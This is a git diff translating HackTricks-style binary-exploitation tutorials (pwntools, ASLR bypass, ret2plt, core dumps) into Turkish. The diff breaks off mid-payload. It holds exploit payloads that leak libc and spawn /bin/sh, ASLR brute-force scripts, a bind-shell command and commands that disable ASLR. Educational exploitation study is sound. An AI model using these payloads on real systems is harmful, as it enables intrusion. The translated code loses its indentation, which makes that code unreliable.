`linux_server64` ikili dosyasını linux sunucusuna taşıyın ve ikili dosyanın bulunduğu klasörde çalıştırın: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +Sonra, hata ayıklayıcıyı yapılandırın: Debugger (linux remote) --> Proccess options...: ![](<../../../images/image (858).png>) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 6175aeaa2..8c25c7699 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -1,120 +1,100 @@ # PwnTools {{#include ../../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - ## Pwn asm -Get **opcodes** from line or file. - +Satırdan veya dosyadan **opcodları** al. ``` pwn asm "jmp esp" pwn asm -i ``` +**Seçilebilir:** -**Can select:** - -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output +- çıktı türü (ham, hex, string, elf) +- çıktı dosyası bağlamı (16, 32, 64, linux, windows...) +- baytlardan kaçın (yeni satırlar, null, bir liste) +- çıktı almak için gdb kullanarak kodlayıcı hata ayıklayıcı shellcode seç ## **Pwn checksec** -Checksec script - +Checksec betiği ``` pwn checksec ``` - ## Pwn constgrep ## Pwn cyclic -Get a pattern - +Bir desen al ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**Seçilebilir:** -**Can select:** - -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) +- Kullanılan alfabe (varsayılan olarak küçük harfler) +- Benzersiz desenin uzunluğu (varsayılan 4) +- bağlam (16,32,64,linux,windows...) +- Ofseti al (-l) ## Pwn debug -Attach GDB to a process - +Bir işleme GDB ekle ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**Seçilebilir:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- Çalıştırılabilir dosya, isim veya pid bağlamına göre (16,32,64,linux,windows...) +- Çalıştırılacak gdbscript - sysrootpath ## Pwn disablenx -Disable nx of a binary - +Bir ikili dosyanın nx'ini devre dışı bırakın ``` pwn disablenx ``` - ## Pwn disasm -Disas hex opcodes - +Hex opkodlarını disassemble et ``` pwn disasm ffe4 ``` +**Seçilebilir:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- bağlam (16,32,64,linux,windows...) +- temel adres +- renk (varsayılan)/renksiz ## Pwn elfdiff -Print differences between 2 files - +2 dosya arasındaki farkları yazdırır ``` pwn elfdiff ``` - ## Pwn hex -Get hexadecimal representation - +Onaltılık temsil al ```bash pwn hex hola #Get hex of "hola" ascii ``` - ## Pwn phd -Get hexdump - +Hexdump al ``` pwn phd ``` +**Seçilebilir:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- Gösterilecek byte sayısı +- Satır başına vurgulanan byte sayısı +- Başlangıçta atlanacak byte'lar ## Pwn pwnstrip @@ -122,8 +102,7 @@ pwn phd ## Pwn shellcraft -Get shellcodes - +Shellcode'ları al ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**Seçilebilir:** -**Can select:** +- shellcode ve shellcode için argümanlar +- Çıktı dosyası +- çıktı formatı +- hata ayıklama (shellcode'a dbg ekle) +- önce (koddan önce hata ayıklama tuzağı) +- sonra +- opcode kullanmaktan kaçın (varsayılan: null ve yeni satır değil) +- shellcode'u çalıştır +- Renk/renksiz +- sistem çağrılarını listele +- olası shellcode'ları listele +- ELF'yi paylaşılan bir kütüphane olarak oluştur -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -## Pwn template - -Get a python template +## Pwn şablonu +Bir python şablonu al ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**Seçilebilir:** host, port, kullanıcı, şifre, yol ve sessiz ## Pwn unhex -From hex to string - +Hex'ten string'e ``` pwn unhex 686f6c61 ``` +## Pwn güncellemesi -## Pwn update - -To update pwntools - +pwntools'u güncellemek için ``` pwn update ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md index 47681ba71..0efe4ea62 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md @@ -1,35 +1,29 @@ -# Common Binary Exploitation Protections & Bypasses +# Yaygın İkili Sömürü Koruma ve Aşma Yöntemleri {{#include ../../banners/hacktricks-training.md}} -## Enable Core files +## Core Dosyalarını Etkinleştir -**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred. +**Core dosyaları**, bir işlemin çökmesi durumunda bir işletim sistemi tarafından oluşturulan bir dosya türüdür. Bu dosyalar, çökme anında çökme yaşayan işlemin bellek görüntüsünü, işlemin belleği, kayıtları ve program sayacı durumu gibi diğer ayrıntıları içerir. Bu anlık görüntü, hata ayıklama ve çökme nedenini anlama açısından son derece değerli olabilir. -### **Enabling Core Dump Generation** +### **Core Dump Oluşturmayı Etkinleştirme** -By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings. - -- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions. +Varsayılan olarak, birçok sistem core dosyalarının boyutunu 0 ile sınırlar (yani, core dosyası oluşturmaz) disk alanı tasarrufu sağlamak için. Core dosyalarının oluşturulmasını etkinleştirmek için **`ulimit`** komutunu (bash veya benzeri kabuklarda) kullanabilir veya sistem genelinde ayarları yapılandırabilirsiniz. +- **Ulimit Kullanarak**: `ulimit -c unlimited` komutu, mevcut kabuk oturumunun sınırsız boyutta core dosyaları oluşturmasına izin verir. Bu, hata ayıklama oturumları için yararlıdır ancak yeniden başlatmalar veya yeni oturumlar arasında kalıcı değildir. ```bash ulimit -c unlimited ``` - -- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions. - +- **Kalıcı Konfigürasyon**: Daha kalıcı bir çözüm için, `/etc/security/limits.conf` dosyasını düzenleyerek `* soft core unlimited` gibi bir satır ekleyebilirsiniz. Bu, tüm kullanıcıların oturumlarında ulimit'i manuel olarak ayarlamak zorunda kalmadan sınırsız boyutta çekirdek dosyaları oluşturmasına izin verir. ```markdown - soft core unlimited ``` +### **GDB ile Çekirdek Dosyalarını Analiz Etme** -### **Analyzing Core Files with GDB** - -To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with: - +Bir çekirdek dosyasını analiz etmek için GDB (GNU Hata Ayıklayıcı) gibi hata ayıklama araçlarını kullanabilirsiniz. Bir çekirdek dökümü üreten bir çalıştırılabilir dosyanız olduğunu ve çekirdek dosyasının `core_file` olarak adlandırıldığını varsayarsak, analize şu şekilde başlayabilirsiniz: ```bash gdb /path/to/executable /path/to/core_file ``` - -This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash. +Bu komut, yürütülebilir dosyayı ve çekirdek dosyasını GDB'ye yükler, böylece çökme anındaki programın durumunu incelemenizi sağlar. Yığınları keşfetmek, değişkenleri incelemek ve çökme nedenini anlamak için GDB komutlarını kullanabilirsiniz. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index e33c7a3be..a5c4c8019 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -2,107 +2,92 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows. +**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve **sistem ve uygulama süreçleri** tarafından kullanılan bellek adreslerini rastgele hale getirir. Bu sayede, bir saldırganın belirli süreçlerin ve verilerin, örneğin yığın, yığın bellek ve kütüphaneler gibi, konumunu tahmin etmesi önemli ölçüde zorlaşır ve bu da belirli türdeki istismarları, özellikle tampon taşmaları, azaltır. -### **Checking ASLR Status** +### **ASLR Durumunu Kontrol Etme** -To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied: +Bir Linux sisteminde ASLR durumunu **kontrol etmek** için, **`/proc/sys/kernel/randomize_va_space`** dosyasındaki değeri okuyabilirsiniz. Bu dosyada saklanan değer, uygulanan ASLR türünü belirler: -- **0**: No randomization. Everything is static. -- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized. -- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized. - -You can check the ASLR status with the following command: +- **0**: Rastgeleleştirme yok. Her şey statik. +- **1**: İhtiyatlı rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilmiştir. +- **2**: Tam rastgeleleştirme. İhtiyatlı rastgeleleştirme ile rastgeleleştirilen unsurlara ek olarak, `brk()` ile yönetilen bellek rastgeleleştirilmiştir. +ASLR durumunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz: ```bash cat /proc/sys/kernel/randomize_va_space ``` +### **ASLR'yi Devre Dışı Bırakma** -### **Disabling ASLR** - -To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it: - +ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'yi devre dışı bırakmak, genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte bunu nasıl yapabileceğiniz: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` - -You can also disable ASLR for an execution with: - +ASLR'yi bir yürütme için de devre dışı bırakabilirsiniz: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` +### **ASLR'yi Etkinleştirme** -### **Enabling ASLR** - -To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command: - +ASLR'yi **etkinleştirmek** için, `/proc/sys/kernel/randomize_va_space` dosyasına **2** değerini yazabilirsiniz. Bu genellikle root ayrıcalıkları gerektirir. Tam rastgeleleştirme, aşağıdaki komutla yapılabilir: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### **Yeniden Başlatmalarda Süreklilik** -### **Persistence Across Reboots** - -Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line: - +`echo` komutlarıyla yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekir: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` - -After editing `/etc/sysctl.conf`, apply the changes with: - +`/etc/sysctl.conf` dosyasını düzenledikten sonra, değişiklikleri uygulamak için: ```bash sudo sysctl -p ``` +Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır. -This will ensure that your ASLR settings remain across reboots. - -## **Bypasses** +## **Atlatmalar** ### 32bit brute-forcing -PaX divides the process address space into **3 groups**: +PaX, işlem adres alanını **3 gruba** ayırır: -- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses. -- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`. -- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**. +- **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken, her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir. +- `mmap()` ile tahsis edilen **bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` olarak adlandırılır. +- **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. bayttan 20. bayta kadar dahil), **16 bayt** hizalıdır —> Bu, **524,288 olası gerçek yığın adresi** ile sonuçlanır. -The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully. +Önceki veriler 32-bit sistemler içindir ve azaltılmış nihai entropi, ASLR'yi atlatmayı mümkün kılarak, istismarın başarılı bir şekilde tamamlanana kadar yürütmeyi tekrar tekrar denemeyi sağlar. -#### Brute-force ideas: - -- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**. - - Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**. -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +#### Brute-force fikirleri: +- Eğer shellcode'dan önce **büyük bir NOP sled** barındıracak kadar büyük bir taşma varsa, yığında adresleri brute-force yaparak akışın **NOP sled'in bir kısmının üzerinden atlamasını** sağlayabilirsiniz. +- Taşma o kadar büyük değilse ve istismar yerel olarak çalıştırılabiliyorsa, **NOP sled ve shellcode'u bir ortam değişkenine eklemek** mümkündür. +- Eğer istismar yerel ise, libc'nin temel adresini brute-force yapmayı deneyebilirsiniz (32bit sistemler için yararlıdır): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- Uzak bir sunucuya saldırıyorsanız, `usleep` fonksiyonunun `libc` adresini **brute-force** etmeyi deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada **sunucu yanıt vermek için 10 saniye ekstra alıyorsa**, bu fonksiyonun adresini bulmuşsunuzdur. > [!TIP] -> In 64bit systems the entropy is much higher and this shouldn't possible. +> 64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır. -### 64 bits stack brute-forcing - -It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\ -The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**: +### 64 bit yığın brute-forcing +Yığın üzerinde çevresel değişkenlerle büyük bir alan kaplamak ve ardından bunu istismar etmek için yerel olarak yüzlerce/binlerce kez kötüye kullanmayı denemek mümkündür.\ +Aşağıdaki kod, yığında **sadece bir adres seçmenin** nasıl mümkün olduğunu ve her **yüzlerce çalıştırmadan** o adresin **NOP talimatını** içereceğini göstermektedir: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { - unsigned long long address = 0xffffff1e7e38; - unsigned int* ptr = (unsigned int*)address; - unsigned int value = *ptr; - printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); - return 0; +unsigned long long address = 0xffffff1e7e38; +unsigned int* ptr = (unsigned int*)address; +unsigned int value = *ptr; +printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); +return 0; } ``` @@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { - 'a': shellcode_env_var, - 'b': shellcode_env_var, - 'c': shellcode_env_var, - 'd': shellcode_env_var, - 'e': shellcode_env_var, - 'f': shellcode_env_var, - 'g': shellcode_env_var, - 'h': shellcode_env_var, - 'i': shellcode_env_var, - 'j': shellcode_env_var, - 'k': shellcode_env_var, - 'l': shellcode_env_var, - 'm': shellcode_env_var, - 'n': shellcode_env_var, - 'o': shellcode_env_var, - 'p': shellcode_env_var, +'a': shellcode_env_var, +'b': shellcode_env_var, +'c': shellcode_env_var, +'d': shellcode_env_var, +'e': shellcode_env_var, +'f': shellcode_env_var, +'g': shellcode_env_var, +'h': shellcode_env_var, +'i': shellcode_env_var, +'j': shellcode_env_var, +'k': shellcode_env_var, +'l': shellcode_env_var, +'m': shellcode_env_var, +'n': shellcode_env_var, +'o': shellcode_env_var, +'p': shellcode_env_var, } cont = 0 while True: - cont += 1 +cont += 1 - if cont % 10000 == 0: - break +if cont % 10000 == 0: +break - print(cont, end="\r") - # Define the path to your binary - binary_path = './aslr-testing' +print(cont, end="\r") +# Define the path to your binary +binary_path = './aslr-testing' - try: - process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) - output = process.communicate()[0] - if "0xd5" in str(output): - print(str(cont) + " -> " + output) - except Exception as e: - print(e) - print(traceback.format_exc()) - pass +try: +process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) +output = process.communicate()[0] +if "0xd5" in str(output): +print(str(cont) + " -> " + output) +except Exception as e: +print(e) +print(traceback.format_exc()) +pass ``` -
-### Local Information (`/proc/[pid]/stat`) +### Yerel Bilgiler (`/proc/[pid]/stat`) -The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as: +Bir sürecin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve **ilginç** bilgiler içerir, örneğin: -- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary -- **startstack**: The address of the start of the **stack** -- **start_data** & **end_data**: Addresses above and below where the **BSS** is -- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses -- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are. -- **env_start** &**env_end**: Addresses above and below where **env variables** are. +- **startcode** & **endcode**: İkili dosyanın **TEXT**'inin üstünde ve altında bulunan adresler +- **startstack**: **stack**'in başlangıç adresi +- **start_data** & **end_data**: **BSS**'nin üstünde ve altında bulunan adresler +- **kstkesp** & **kstkeip**: Mevcut **ESP** ve **EIP** adresleri +- **arg_start** & **arg_end**: **cli argümanlarının** üstünde ve altında bulunan adresler +- **env_start** & **env_end**: **env değişkenlerinin** üstünde ve altında bulunan adresler -Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**. +Bu nedenle, eğer saldırgan, istismar edilen ikili dosyanın bulunduğu bilgisayarda ise ve bu ikili dosya ham argümanlardan taşmayı beklemiyorsa, ancak bu dosyayı okuduktan sonra oluşturulabilecek farklı bir **girdi** üzerinden bekliyorsa, bir saldırganın **bu dosyadan bazı adresleri alması ve bunlardan istismar için ofsetler oluşturması mümkündür**. > [!TIP] -> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat` +> Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde `/proc/pid/stat` araması yapın. -### Having a leak +### Bir sızıntıya sahip olmak -- **The challenge is giving a leak** - -If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details): +- **Zorluk bir sızıntı vermektir** +Eğer size bir sızıntı verilirse (kolay CTF zorlukları), ondan ofsetleri hesaplayabilirsiniz (örneğin, istismar ettiğiniz sistemde kullanılan tam libc sürümünü bildiğinizi varsayarsak). Bu örnek istismar, [**buradan örnek**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) alınmıştır (daha fazla ayrıntı için o sayfaya bakın): ```python from pwn import * @@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - 0x0, # return address - next(libc.search(b'/bin/sh')) +'A' * 32, +libc.sym['system'], +0x0, # return address +next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - - **ret2plt** -Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check: +Bir buffer overflow kullanarak, bir **ret2plt**'yi istismar etmek, libc'den bir fonksiyonun adresini dışarı sarmak mümkün olacaktır. Kontrol et: {{#ref}} ret2plt.md @@ -216,8 +198,7 @@ ret2plt.md - **Format Strings Arbitrary Read** -Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): - +ret2plt'de olduğu gibi, eğer bir format string zafiyeti aracılığıyla rastgele bir okuma varsa, GOT'dan bir **libc fonksiyonu** adresini dışarı sarmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` - -You can find more info about Format Strings arbitrary read in: +Daha fazla bilgi için Format Strings arbitrary read hakkında şunları bulabilirsiniz: {{#ref}} ../../format-strings/ @@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in: ### Ret2ret & Ret2pop -Try to bypass ASLR abusing addresses inside the stack: +ASLR'yi atlatmayı deneyin, yığın içindeki adresleri kullanarak: {{#ref}} ret2ret.md @@ -245,13 +225,12 @@ ret2ret.md ### vsyscall -The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\ -However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent) +**`vsyscall`** mekanizması, belirli sistem çağrılarının kullanıcı alanında yürütülmesine izin vererek performansı artırmayı amaçlar, ancak bunlar temelde çekirdek parçasıdır. **vsyscall'ların** kritik avantajı, **ASLR**'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adresler** olmalarıdır. Bu sabit yapı, saldırganların adreslerini belirlemek ve bunları bir istismar içinde kullanmak için bir bilgi sızıntısı açığına ihtiyaç duymadıkları anlamına gelir.\ +Ancak burada çok ilginç aletler bulunmayacaktır (örneğin, bir `ret;` eşdeğeri almak mümkündür) -(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) - -For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit. +(Aşağıdaki örnek ve kod [**bu yazıdan**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation) alınmıştır) +Örneğin, bir saldırgan bir istismar içinde `0xffffffffff600800` adresini kullanabilir. Doğrudan bir `ret` talimatına atlamaya çalışmak, birkaç aletin yürütülmesinden sonra kararsızlığa veya çökmesine yol açabilirken, **vsyscall** bölümünde sağlanan bir `syscall`'ın başlangıcına atlamak başarılı olabilir. Yürütmeyi bu **vsyscall** adresine yönlendiren dikkatlice yerleştirilmiş bir **ROP** aleti ile, bir saldırgan bu istismar parçası için **ASLR**'yi atlatmadan kod yürütme elde edebilir. ``` ef➤ vmmap Start End Offset Perm Path @@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 ``` - ### vDSO -Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check: +Bu nedenle, **vdso'yu kullanarak ASLR'yi atlatmanın** mümkün olabileceğini unutmayın, eğer çekirdek CONFIG_COMPAT_VDSO ile derlenmişse çünkü vdso adresi rastgeleleştirilmeyecek. Daha fazla bilgi için kontrol edin: {{#ref}} ../../rop-return-oriented-programing/ret2vdso.md diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md index c0e55129b..2de31bee1 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -2,40 +2,37 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**. - -This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): +Bu tekniğin amacı, **ASLR'yi atlatabilmek için PLT'den bir fonksiyonun adresini sızdırmak** olacaktır. Bunun nedeni, örneğin, libc'den `puts` fonksiyonunun adresini sızdırırsanız, **`libc`'nin temel adresini hesaplayabilir** ve **`system`** gibi diğer fonksiyonlara erişmek için ofsetleri hesaplayabilirsiniz. +Bu, ([**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)) gibi bir `pwntools` yükü ile yapılabilir: ```python # 32-bit ret2plt payload = flat( - b'A' * padding, - elf.plt['puts'], - elf.symbols['main'], - elf.got['puts'] +b'A' * padding, +elf.plt['puts'], +elf.symbols['main'], +elf.got['puts'] ) # 64-bit payload = flat( - b'A' * padding, - POP_RDI, - elf.got['puts'] - elf.plt['puts'], - elf.symbols['main'] +b'A' * padding, +POP_RDI, +elf.got['puts'] +elf.plt['puts'], +elf.symbols['main'] ) ``` +Not edin ki **`puts`** (PLT'den alınan adres kullanılarak) GOT'daki `puts` adresi ile çağrılır. Bunun nedeni, `puts` GOT girişi yazdırdığında, bu **girişin bellek içindeki `puts` adresini tam olarak içerecek olmasıdır**. -Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**. - -Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid). +Ayrıca, `main` adresinin istismarda nasıl kullanıldığını not edin, böylece `puts` çalışmasını bitirdiğinde, **binary `main`'i tekrar çağırır, çıkmak yerine** (bu nedenle sızdırılan adres geçerli olmaya devam eder). > [!CAUTION] -> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first. - -You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**: +> Bunun çalışması için **binary PIE ile derlenmemiş olmalıdır** veya PLT, GOT ve main adresini bilmek için **PIE'yi atlatmak için bir sızıntı bulmuş olmalısınız**. Aksi takdirde, önce PIE'yi atlatmanız gerekir. +Bu [**atlatmanın tam örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Bu, o **örneğin** son istismarıydı: ```python from pwn import * @@ -46,10 +43,10 @@ p = process() p.recvline() payload = flat( - 